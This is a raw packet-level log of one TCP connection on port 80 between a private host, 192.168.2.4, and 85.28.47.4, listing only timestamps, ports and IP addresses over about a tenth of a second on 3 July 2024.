Jul 3, 2024 23:59:07.865178108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865216017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865221977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865226984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865238905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865250111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865257978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865272045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865295887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865331888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865343094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865372896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865385056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865416050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865428925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865452051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865466118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865546942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865557909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865567923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865577936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865590096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865591049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865600109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865617990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865629911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865722895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865734100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865744114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865755081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865767002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865778923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865803003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865868092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865879059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865888119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.865914106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865933895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.865995884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866008043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866018057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866028070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866039038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866040945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866050959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866050959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866071939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866095066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866209984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866221905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866231918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866241932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866252899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866255045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866265059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866292000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866326094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866363049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866364956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866403103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866544008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866554976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866564989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866575003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866585016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866586924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866596937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866607904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866617918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866620064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866635084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866652966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866674900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866806984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866817951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866827965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866837978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866847992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866848946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866858006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866868973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866878033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866878986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866889954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.866890907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866911888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.866938114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867105961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867117882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867127895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867139101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867150068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867177963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867357016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867368937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867377996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867387056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867397070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867407084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867417097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867419004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867429972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867438078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867441893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867460012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867463112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867465973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867470980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867487907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867522955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867701054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867712021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867721081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867742062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867753983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867821932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867834091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867844105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867860079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867865086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867872000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867885113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867894888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867902040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867908001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867917061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867918968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.867940903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.867959023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.868243933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.868256092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.868266106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.868275881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.868283987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.868288040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.868294001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.868299961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.868314028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.868315935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.868346930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.868359089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875520945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875561953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875566959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875572920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875597954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875610113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875699997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875711918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875721931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875732899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875742912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875742912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875771999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875782967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875808001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875848055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875890017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875900984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.875931978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875945091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.875998974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876009941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876020908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876033068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876049995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876075983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876137972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876147985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876187086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876192093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876204967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876214981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876224995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876234055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876235008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876257896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876280069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876450062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876461983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876471996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876490116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876497030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876502037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876513004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876519918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876523972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.876545906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.876568079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959352970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959374905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959386110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959429979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959527969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959538937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959548950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959558964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959570885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959661007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959661007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959661007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959661961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959690094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959702015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959712029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959733963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959752083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959808111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959819078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959829092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959851980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959862947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.959954023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959964037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959974051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959985018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.959995031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960000038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960005999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960012913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960020065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960031033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960032940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960057974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960068941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960236073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960247040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960257053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960273027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960280895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960284948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960290909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960313082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960325003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960387945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960400105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960410118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960417986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960429907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960458040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960900068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960939884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.960957050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960968971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.960994959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.961047888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961059093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961069107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961088896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.961107016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.961127043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961164951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.961203098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961215019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961245060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.961308002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961318970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961328983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961338997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961350918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.961380959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.961427927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.961467981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.962039948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.962083101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.962095022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.962105989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.962135077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.962176085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.962188005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.962197065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.962218046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.962228060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963114023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963124990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963135004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963145018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963157892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963176966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963233948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963243961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963253975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963275909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963288069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963361025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963371992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963413000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963413954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963424921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963439941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963457108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963466883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963534117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963545084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963553905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963563919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963574886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963574886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963587046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963618040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.963646889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.963685989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.964205980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964248896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.964261055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964272022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964282036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964298964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.964314938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.964380980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964392900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964404106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964411974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.964421988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.964449883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965106010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965125084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965135098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965147972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965172052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965195894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965208054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965235949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965255022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965261936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965274096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965303898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965342999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965353966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965363979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965373993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965394020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965421915 CEST	49730	80	192.168.2.4	85.28.47.4
